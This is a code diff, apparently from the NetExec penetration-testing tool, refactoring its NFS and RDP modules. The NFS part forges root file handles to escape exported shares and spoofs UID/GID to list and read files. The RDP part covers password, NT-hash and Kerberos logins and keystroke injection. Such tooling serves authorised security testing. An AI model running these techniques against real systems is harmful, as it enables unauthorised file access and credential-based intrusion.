subvolume = i.to_bytes(1, "big") + b"\x01\x00\x00"
|
||||
root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator]
|
||||
|
||||
return root_handles
|
||||
|
||||
def try_root_escape(self) -> bool:
|
||||
def try_root_escape(self) -> bool | None:
|
||||
"""
|
||||
With an established connection look for a share that can be escaped to the root filesystem.
|
||||
If successfull, self.escape_share and self.escape_fh will be populated.
|
||||
@@ -663,58 +663,44 @@ class nfs(connection):
|
||||
-------
|
||||
bool: True if root escape was successful
|
||||
"""
|
||||
if not self.nfs3:
|
||||
if not self.nfs:
|
||||
raise Exception("NFS connection is not established")
|
||||
|
||||
output_export = str(self.mount.export())
|
||||
reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names
|
||||
shares = list(reg.findall(output_export))
|
||||
|
||||
shares = [share for share, network in self.nfs.exports()]
|
||||
evaluated = False
|
||||
self.logger.debug(f"Trying root escape on shares: {shares}")
|
||||
for share in shares:
|
||||
mount_info = self.mount.mnt(share, self.auth)
|
||||
mount_info = self.nfs.root_handle(share)
|
||||
if mount_info["status"] != 0:
|
||||
self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}")
|
||||
self.mount.umnt(self.auth)
|
||||
self.logger.debug(f"Root escape: can't list directory {share}: {self.nfs.status_name(mount_info['status'])}")
|
||||
self.nfs.unmount()
|
||||
continue
|
||||
mount_fh = mount_info["mountinfo"]["fhandle"]
|
||||
try:
|
||||
possible_root_fhs = self.get_root_handles(mount_fh)
|
||||
for fh in possible_root_fhs:
|
||||
if "resfail" not in self.nfs3.readdir(fh, auth=self.auth):
|
||||
attributes = self.nfs.getattr(fh, auth=self.rpc_auth)
|
||||
directory = self.nfs.readdir(fh, auth=self.rpc_auth)
|
||||
evaluated = True
|
||||
if attributes["status"] == 0 and directory["status"] == 0:
|
||||
self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}")
|
||||
self.escape_share = share
|
||||
self.escape_fh = fh
|
||||
self.mount.umnt(self.auth)
|
||||
self.nfs.unmount()
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error trying root escape on share '{share}': {e}")
|
||||
self.mount.umnt(self.auth)
|
||||
return False
|
||||
self.nfs.unmount()
|
||||
return False if evaluated else None
|
||||
|
||||
def ls(self):
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
self.connect_nfs()
|
||||
|
||||
# Remove leading or trailing slashes
|
||||
self.args.ls = self.args.ls.lstrip("/").rstrip("/")
|
||||
|
||||
# NORMAL LS CALL (without root escape)
|
||||
if self.args.share:
|
||||
mount_info = self.mount.mnt(self.args.share, self.auth)
|
||||
if mount_info["status"] != 0:
|
||||
self.logger.fail(f"Could not mount share {self.args.share}: {NFSSTAT3[mount_info['status']]}")
|
||||
return
|
||||
else:
|
||||
mount_fh = mount_info["mountinfo"]["fhandle"]
|
||||
elif self.root_escape:
|
||||
# Interestingly we don't actually have to mount the share if we already got the handle
|
||||
self.logger.success(f"Successful escape on share: {self.escape_share}")
|
||||
mount_fh = self.escape_fh
|
||||
else:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
mount_fh = self.selected_root_handle()
|
||||
if mount_fh is None:
|
||||
return
|
||||
|
||||
# We got a path to look up
|
||||
@@ -725,13 +711,13 @@ class nfs(connection):
|
||||
for sub_path in list(filter(None, self.args.ls.split("/"))):
|
||||
# Update UID and GID for the path
|
||||
self.update_auth(curr_fh)
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
|
||||
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
self.logger.fail(f"Unknown path: {self.args.ls!r}")
|
||||
return
|
||||
elif "resfail" in res:
|
||||
self.logger.fail(f"Error on looking up path '{sub_path}': {NFSSTAT3[res['status']]}")
|
||||
self.logger.fail(f"Error on looking up path '{sub_path}': {self.nfs.status_name(res['status'])}")
|
||||
return
|
||||
# If file then break and only display file
|
||||
if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
|
||||
@@ -742,9 +728,9 @@ class nfs(connection):
|
||||
# Update the UID and GID for the file/dir
|
||||
self.update_auth(curr_fh)
|
||||
|
||||
dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth)
|
||||
dir_listing = self.nfs.readdirplus(curr_fh, auth=self.rpc_auth)
|
||||
if dir_listing["status"] != 0:
|
||||
self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}")
|
||||
self.logger.fail(f"Error on listing directory: {self.nfs.status_name(dir_listing['status'])}")
|
||||
return
|
||||
content = self.format_directory(dir_listing)
|
||||
|
||||
@@ -752,7 +738,7 @@ class nfs(connection):
|
||||
while not dir_listing["resok"]["reply"]["eof"]:
|
||||
cookie_verf = dir_listing["resok"]["cookieverf"]
|
||||
cookie = content[-1]["cookie"]
|
||||
dir_listing = self.nfs3.readdirplus(curr_fh, cookie=cookie, cookie_verf=cookie_verf, auth=self.auth)
|
||||
dir_listing = self.nfs.readdirplus(curr_fh, cookie=cookie, cookie_verf=cookie_verf, auth=self.rpc_auth)
|
||||
more_content = self.format_directory(dir_listing)
|
||||
content.extend(more_content)
|
||||
|
||||
@@ -761,7 +747,7 @@ class nfs(connection):
|
||||
for item in content:
|
||||
if not item["name_attributes"]["present"]:
|
||||
try:
|
||||
res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth)
|
||||
res = self.nfs.lookup(curr_fh, item["name"].decode(), auth=self.rpc_auth)
|
||||
item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"]
|
||||
item["name_attributes"]["present"] = True
|
||||
item["name_handle"]["handle"] = res["resok"]["object"]
|
||||
@@ -770,35 +756,20 @@ class nfs(connection):
|
||||
self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}")
|
||||
|
||||
# If the requested path is a file, we filter out all other files
|
||||
path = f"{self.args.share if self.args.share else ''}/{self.args.ls}"
|
||||
path = f"{(self.args.share or '').rstrip('/')}/{self.args.ls}"
|
||||
if is_file:
|
||||
content = [x for x in content if x["name"].decode() == sub_path]
|
||||
path = path.rsplit("/", 1)[0] # Remove the file from the path
|
||||
self.print_directory(content, path)
|
||||
|
||||
def cat(self):
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
self.connect_nfs()
|
||||
|
||||
# Remove leading or trailing slashes
|
||||
self.args.cat = self.args.cat.lstrip("/").rstrip("/")
|
||||
|
||||
# NORMAL LS CALL (without root escape)
|
||||
if self.args.share:
|
||||
mount_info = self.mount.mnt(self.args.share, self.auth)
|
||||
if mount_info["status"] != 0:
|
||||
self.logger.fail(f"Could not mount share {self.args.share}: {NFSSTAT3[mount_info['status']]}")
|
||||
return
|
||||
else:
|
||||
mount_fh = mount_info["mountinfo"]["fhandle"]
|
||||
elif self.root_escape:
|
||||
# Interestingly we don't actually have to mount the share if we already got the handle
|
||||
self.logger.success(f"Successful escape on share: {self.escape_share}")
|
||||
mount_fh = self.escape_fh
|
||||
else:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
mount_fh = self.selected_root_handle()
|
||||
if mount_fh is None:
|
||||
return
|
||||
|
||||
# We got a path to look up
|
||||
@@ -809,13 +780,13 @@ class nfs(connection):
|
||||
for sub_path in list(filter(None, self.args.cat.split("/"))):
|
||||
# Update UID and GID for the path
|
||||
self.update_auth(curr_fh)
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
|
||||
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
self.logger.fail(f"Unknown path: {self.args.cat!r}")
|
||||
return
|
||||
elif "resfail" in res:
|
||||
self.logger.fail(f"Error on looking up path '{sub_path}': {NFSSTAT3[res['status']]}")
|
||||
self.logger.fail(f"Error on looking up path '{sub_path}': {self.nfs.status_name(res['status'])}")
|
||||
return
|
||||
|
||||
curr_fh = res["resok"]["object"]["data"]
|
||||
@@ -837,10 +808,10 @@ class nfs(connection):
|
||||
offset = 0
|
||||
eof = False
|
||||
while not eof:
|
||||
file_data = self.nfs3.read(curr_fh, offset, auth=self.auth)
|
||||
file_data = self.nfs.read(curr_fh, offset, auth=self.rpc_auth)
|
||||
|
||||
if "resfail" in file_data:
|
||||
self.logger.fail(f"Failed to retrieve data for '{self.args.cat}': {NFSSTAT3[file_data['status']]}")
|
||||
self.logger.fail(f"Failed to retrieve data for '{self.args.cat}': {self.nfs.status_name(file_data['status'])}")
|
||||
return
|
||||
|
||||
else:
|
||||
@@ -866,9 +837,12 @@ class nfs(connection):
|
||||
"""
|
||||
# Sort items linux-like by name
|
||||
content = sorted(content, key=lambda x: x["name"].lower())
|
||||
self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}")
|
||||
self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}")
|
||||
self.logger.highlight(f"{'UID':<11} {'Perms':<7}{'File Size':<14}{'File Path'}")
|
||||
self.logger.highlight(f"{'---':<11} {'-----':<7}{'---------':<14}{'---------'}")
|
||||
directory_auth = dict(self.auth)
|
||||
for item in content:
|
||||
if self.args.nfs_auth == "sys":
|
||||
self.auth.update(directory_auth)
|
||||
if not item["name_attributes"]["present"] or not item["name_handle"]["present"]:
|
||||
uid = "-"
|
||||
perms = "----"
|
||||
@@ -876,19 +850,25 @@ class nfs(connection):
|
||||
else:
|
||||
uid = item["name_attributes"]["attributes"]["uid"]
|
||||
is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-"
|
||||
self.update_auth(item["name_handle"]["handle"]["data"])
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"])
|
||||
perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}"
|
||||
file_size = convert_size(item["name_attributes"]["attributes"]["size"])
|
||||
try:
|
||||
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
|
||||
except UnicodeDecodeError:
|
||||
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode('CP437')}")
|
||||
self.logger.highlight(f"{uid:<11} {perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
|
||||
except UnicodeDecodeError as e:
|
||||
self.logger.debug(f"NFS filename is not UTF-8: {e}")
|
||||
self.logger.highlight(f"{uid:<11} {perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode('CP437')}")
|
||||
if self.args.nfs_auth == "sys":
|
||||
self.auth.update(directory_auth)
|
||||
|
||||
def format_directory(self, raw_directory):
|
||||
"""Convert the chained directory entries to a list of the entries"""
|
||||
if "resfail" in raw_directory:
|
||||
self.logger.debug("Insufficient Permissions, NFS returned 'resfail'")
|
||||
return {}
|
||||
return []
|
||||
if not raw_directory["resok"]["reply"]["entries"]:
|
||||
return []
|
||||
items = []
|
||||
nextentry = raw_directory["resok"]["reply"]["entries"][0]
|
||||
while nextentry:
|
||||
@@ -900,10 +880,13 @@ class nfs(connection):
|
||||
|
||||
def update_auth(self, file_handle):
|
||||
"""Update the UID and GID for the file handle"""
|
||||
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
|
||||
attrs = self.nfs.getattr(file_handle, auth=self.rpc_auth)
|
||||
self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}")
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
self.auth["gid"] = attrs["attributes"]["gid"]
|
||||
if self.args.nfs_auth == "sys" and isinstance(attrs["attributes"]["uid"], int):
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
if self.args.nfs_auth == "sys" and isinstance(attrs["attributes"]["gid"], int):
|
||||
self.auth["gid"] = attrs["attributes"]["gid"]
|
||||
return attrs
|
||||
|
||||
|
||||
def convert_size(size_bytes):
|
||||
|
||||
@@ -1,7 +1,11 @@
|
||||
def proto_args(parser, parents):
|
||||
nfs_parser = parser.add_parser("nfs", help="own stuff using NFS", parents=parents)
|
||||
nfs_parser.add_argument("--port", type=int, default=111, help="NFS portmapper port (default: %(default)s)")
|
||||
nfs_parser.add_argument("--nfs-timeout", type=int, default=5, help="NFS connection timeout (default: %(default)ss)")
|
||||
nfs_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NT hash(es) to use for Kerberos authentication")
|
||||
nfs_parser.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", help="Kerberos realm/domain")
|
||||
nfs_parser.add_argument("--port", type=int, help="NFS port to probe and connect to (default: 2049)")
|
||||
nfs_parser.add_argument("--nfs-version", choices=("3", "4.0", "4.1", "4.2"), help="NFS protocol version (default: prefer 3, otherwise latest supported NFSv4)")
|
||||
nfs_parser.add_argument("--nfs-auth", choices=("none", "sys", "krb5", "krb5i", "krb5p"), default="sys", help="NFS security flavor (default: %(default)s)")
|
||||
nfs_parser.add_argument("--nfs-timeout", type=int, default=2, help="NFS connection timeout (default: %(default)ss)")
|
||||
|
||||
dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration")
|
||||
dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file")
|
||||
|
||||
+215
-347
@@ -1,25 +1,19 @@
|
||||
import asyncio
|
||||
import base64
|
||||
import copy
|
||||
import contextlib
|
||||
from datetime import datetime
|
||||
from os import getenv
|
||||
from uuid import uuid4
|
||||
from anyio import Path
|
||||
from termcolor import colored
|
||||
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.config import host_info_colors, process_secret
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
from aardwolf.connection import RDPConnection, AUTHZ_ACCESS_DENIED
|
||||
from aardwolf.connection import RDPConnection
|
||||
from aardwolf.commons.queuedata.constants import VIDEO_FORMAT
|
||||
from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_UNICODE
|
||||
from aardwolf.commons.iosettings import RDPIOSettings
|
||||
@@ -40,6 +34,7 @@ class rdp(connection):
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.iosettings = RDPIOSettings()
|
||||
self.iosettings.video_out_format = VIDEO_FORMAT.RAW
|
||||
self.iosettings.clipboard_use_pyperclip = False
|
||||
self.protoflags_nla = [
|
||||
SUPP_PROTOCOLS.SSL,
|
||||
@@ -59,8 +54,8 @@ class rdp(connection):
|
||||
# servers dont support 8 any more :/
|
||||
self.iosettings.video_bpp_min = 15
|
||||
self.iosettings.video_bpp_max = 32
|
||||
# screenshots read the desktop buffer, so don't PNG-encode every update put on ext_out_queue
|
||||
self.iosettings.video_out_format = VIDEO_FORMAT.PIL
|
||||
# PIL produces incorrect picture for some reason?! TODO: check bug
|
||||
self.iosettings.video_out_format = VIDEO_FORMAT.PNG #
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.url = None
|
||||
@@ -86,9 +81,7 @@ class rdp(connection):
|
||||
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
|
||||
}
|
||||
|
||||
# one event loop per target: aardwolf's reader tasks die with their loop, so a session can only be reused on the loop that opened it
|
||||
with asyncio.Runner() as self.runner:
|
||||
connection.__init__(self, args, db, host)
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
import platform
|
||||
@@ -121,30 +114,21 @@ class rdp(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
||||
|
||||
def _create_rdp_connection(self, credentials, supported_protocols=None):
|
||||
iosettings = self.iosettings.clone_for_connection()
|
||||
# Explicit protocols are used by discovery and screenshot fallbacks.
|
||||
# Authenticated connections leave this unset so aardwolf selects the
|
||||
# X224 flags appropriate for the credential type.
|
||||
iosettings.supported_protocols = supported_protocols
|
||||
return RDPConnection(
|
||||
iosettings=iosettings,
|
||||
target=copy.deepcopy(self.target),
|
||||
credentials=copy.deepcopy(credentials),
|
||||
)
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True) # old servers only offer ciphers OpenSSL rejects at its default security level
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
|
||||
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
|
||||
|
||||
self.runner.run(self.check_nla())
|
||||
asyncio.run(self.check_nla())
|
||||
|
||||
for proto in reversed(self.protoflags):
|
||||
try:
|
||||
self.conn = self._create_rdp_connection(
|
||||
self.auth, supported_protocols=proto
|
||||
self.iosettings.supported_protocols = proto
|
||||
self.conn = RDPConnection(
|
||||
iosettings=self.iosettings,
|
||||
target=self.target,
|
||||
credentials=self.auth,
|
||||
)
|
||||
self.runner.run(self.connect_rdp_with_cleanup())
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
except OSError as e:
|
||||
if "Errno 104" not in str(e):
|
||||
return False
|
||||
@@ -157,10 +141,9 @@ class rdp(connection):
|
||||
except Exception:
|
||||
pass
|
||||
else:
|
||||
self.hostname = sanitize_dns(info_domain.get("computername"), self.logger)
|
||||
self.domain = sanitize_dns(info_domain.get("dnsdomainname"), self.logger)
|
||||
self.remoteName = sanitize_dns(info_domain.get("dnscomputername"), self.logger) if self.kerberos else self.host
|
||||
self.server_os = self.guess_os(info_domain)
|
||||
self.domain = info_domain["dnsdomainname"]
|
||||
self.hostname = info_domain["computername"]
|
||||
self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"])
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
break
|
||||
|
||||
@@ -169,6 +152,8 @@ class rdp(connection):
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
@@ -181,33 +166,22 @@ class rdp(connection):
|
||||
domain=self.domain,
|
||||
dc_ip=self.domain,
|
||||
timeout=self.args.rdp_timeout,
|
||||
unsafe_ssl=True,
|
||||
)
|
||||
|
||||
# Reset so aardwolf negotiates on its own (restricted admin + HYBRID_EX), the loop above pinned it
|
||||
self.iosettings.supported_protocols = None
|
||||
|
||||
return True
|
||||
|
||||
def guess_os(self, info_domain):
|
||||
build = info_domain.get("os_build")
|
||||
if build in WIN_VERSIONS:
|
||||
return f"{WIN_VERSIONS[build]} Build {build}"
|
||||
if info_domain.get("os_major_version") == "WINDOWS_MAJOR_VERSION_10": # asyauth labels every 10.0 kernel "Windows 10 or Windows Server 2016", only trust it for older kernels
|
||||
return f"Windows 10.0 Build {build}"
|
||||
return f"{info_domain.get('os_guess') or 'Unknown'} Build {build or 'Unknown'}"
|
||||
|
||||
async def check_nla(self):
|
||||
self.logger.debug(f"Checking NLA for {self.host}")
|
||||
probe_connection = None
|
||||
try:
|
||||
self.conn = self._create_rdp_connection(
|
||||
None, supported_protocols=SUPP_PROTOCOLS.SSL
|
||||
self.iosettings.supported_protocols = SUPP_PROTOCOLS.SSL
|
||||
self.conn = RDPConnection(
|
||||
iosettings=self.iosettings,
|
||||
target=self.target,
|
||||
credentials=None,
|
||||
)
|
||||
packetizer = TPKTPacketizer()
|
||||
client = UniClient(self.target, packetizer)
|
||||
probe_connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
|
||||
self.conn._connection = probe_connection
|
||||
self.conn._connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
|
||||
self.conn._x224net = X224Network(self.conn._connection)
|
||||
_, err = await asyncio.wait_for(self.conn._x224net.client_negotiate(0, SUPP_PROTOCOLS.SSL), timeout=self.args.rdp_timeout)
|
||||
# If no error SSL supported if SSL_NOT_ALLOWED_BY_SERVER error, plain RDP supported
|
||||
@@ -216,27 +190,25 @@ class rdp(connection):
|
||||
return
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
# this probe socket is not owned by aardwolf, terminate() would not close it
|
||||
if probe_connection is not None:
|
||||
await probe_connection.close()
|
||||
|
||||
async def connect_rdp(self):
|
||||
"""Connect to the RDP server. Does NOT clean up on exit."""
|
||||
"""Connect to the RDP server. Does NOT clean up on exit.
|
||||
|
||||
Use this when the caller needs the connection alive after connecting
|
||||
(screen, nla_screen, execute_shell). For sync callers that only need to
|
||||
know whether authentication succeeded and want guaranteed cleanup, use
|
||||
connect_rdp_with_cleanup() instead.
|
||||
"""
|
||||
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
|
||||
if err is not None:
|
||||
raise err
|
||||
self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}")
|
||||
|
||||
async def terminate_conn(self):
|
||||
"""Terminate the RDP connection with a timeout so cleanup doesn't hang (https://github.com/skelsec/aardwolf/issues/43)."""
|
||||
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
|
||||
if self.conn is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
|
||||
|
||||
def disconnect(self):
|
||||
self.runner.run(self.terminate_conn())
|
||||
|
||||
async def connect_rdp_with_cleanup(self):
|
||||
"""Connect to the RDP server and always terminate the connection on exit"""
|
||||
try:
|
||||
@@ -244,31 +216,7 @@ class rdp(connection):
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
async def login_and_confirm(self):
|
||||
"""Log on and return whether a real session opened (Save Session Info PDU). The session stays open for -x/-X/--screenshot until disconnect().
|
||||
|
||||
That PDU never comes when access is authorized but the logon is refused (restricted admin).
|
||||
"""
|
||||
await self.terminate_conn() # a session kept by an earlier success (--continue-on-success) would take a session slot this logon needs
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
await self.connect_rdp()
|
||||
try:
|
||||
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
|
||||
return True
|
||||
except TimeoutError:
|
||||
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
|
||||
return False
|
||||
|
||||
def rdp_access_denied(self):
|
||||
"""Whether the Early User Authorization Result PDU says the account has no RDP access right at all.
|
||||
|
||||
Distinct from a valid right whose logon is later refused (restricted admin), which yields no such PDU.
|
||||
"""
|
||||
self.logger.debug(f"authz_result from Early User Authorization Result PDU: {self.conn.authz_result}")
|
||||
return self.conn.authz_result == AUTHZ_ACCESS_DENIED
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
self.username = username
|
||||
try:
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
@@ -284,23 +232,23 @@ class rdp(connection):
|
||||
if nthash:
|
||||
self.nthash = nthash
|
||||
|
||||
kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else ""
|
||||
|
||||
self.hostname + "." + self.domain
|
||||
password = password if password else nthash
|
||||
|
||||
if useCache:
|
||||
stype = asyauthSecret.CCACHE
|
||||
password = getenv("KRB5CCNAME")
|
||||
ccache = CCache.loadFile(password)
|
||||
ticketCreds = ccache.credentials[0]
|
||||
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
|
||||
elif aesKey:
|
||||
stype = asyauthSecret.AES
|
||||
password = aesKey
|
||||
if not password:
|
||||
password = password if password else getenv("KRB5CCNAME")
|
||||
if "/" in password:
|
||||
self.logger.fail("Kerberos ticket need to be on the local directory")
|
||||
return False
|
||||
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
|
||||
ticketCreds = ccache.credentials[0]
|
||||
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
|
||||
else:
|
||||
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
|
||||
password = password if password else nthash
|
||||
|
||||
kerb_pass = password
|
||||
|
||||
kerberos_target = UniTarget(
|
||||
self.kdcHost,
|
||||
@@ -320,8 +268,10 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=stype,
|
||||
)
|
||||
self.admin_privs = self.runner.run(self.login_and_confirm())
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(
|
||||
"{}\\{}{} {}".format(
|
||||
domain,
|
||||
@@ -349,11 +299,8 @@ class rdp(connection):
|
||||
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
|
||||
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"),
|
||||
)
|
||||
elif self.rdp_access_denied():
|
||||
self.logger.success(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
return True
|
||||
elif "Authentication failed!" in str(e):
|
||||
self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}")
|
||||
elif "No such file" in str(e):
|
||||
self.logger.fail(e)
|
||||
else:
|
||||
@@ -370,7 +317,6 @@ class rdp(connection):
|
||||
return False
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
self.username = username
|
||||
try:
|
||||
self.auth = NTLMCredential(
|
||||
secret=password,
|
||||
@@ -378,8 +324,10 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=asyauthSecret.PASS,
|
||||
)
|
||||
self.admin_privs = self.runner.run(self.login_and_confirm())
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
@@ -387,11 +335,8 @@ class rdp(connection):
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except Exception as e:
|
||||
if self.rdp_access_denied():
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
return True
|
||||
if "Authentication failed!" in str(e):
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
else:
|
||||
reason = None
|
||||
for word in self.rdp_error_status:
|
||||
@@ -406,7 +351,6 @@ class rdp(connection):
|
||||
return False
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
self.username = username
|
||||
try:
|
||||
self.auth = NTLMCredential(
|
||||
secret=ntlm_hash,
|
||||
@@ -414,8 +358,10 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=asyauthSecret.NT,
|
||||
)
|
||||
self.admin_privs = self.runner.run(self.login_and_confirm())
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
@@ -423,11 +369,8 @@ class rdp(connection):
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except Exception as e:
|
||||
if self.rdp_access_denied():
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
return True
|
||||
if "Authentication failed!" in str(e):
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
else:
|
||||
reason = None
|
||||
for word in self.rdp_error_status:
|
||||
@@ -445,11 +388,10 @@ class rdp(connection):
|
||||
async def _send_keystrokes(self, text, delay=0.02):
|
||||
"""Helper method to send keystrokes to the RDP session"""
|
||||
for char in text:
|
||||
for is_pressed in (True, False):
|
||||
key_event = RDP_KEYBOARD_UNICODE()
|
||||
key_event.char = char
|
||||
key_event.is_pressed = is_pressed
|
||||
await self.conn.ext_in_queue.put(key_event)
|
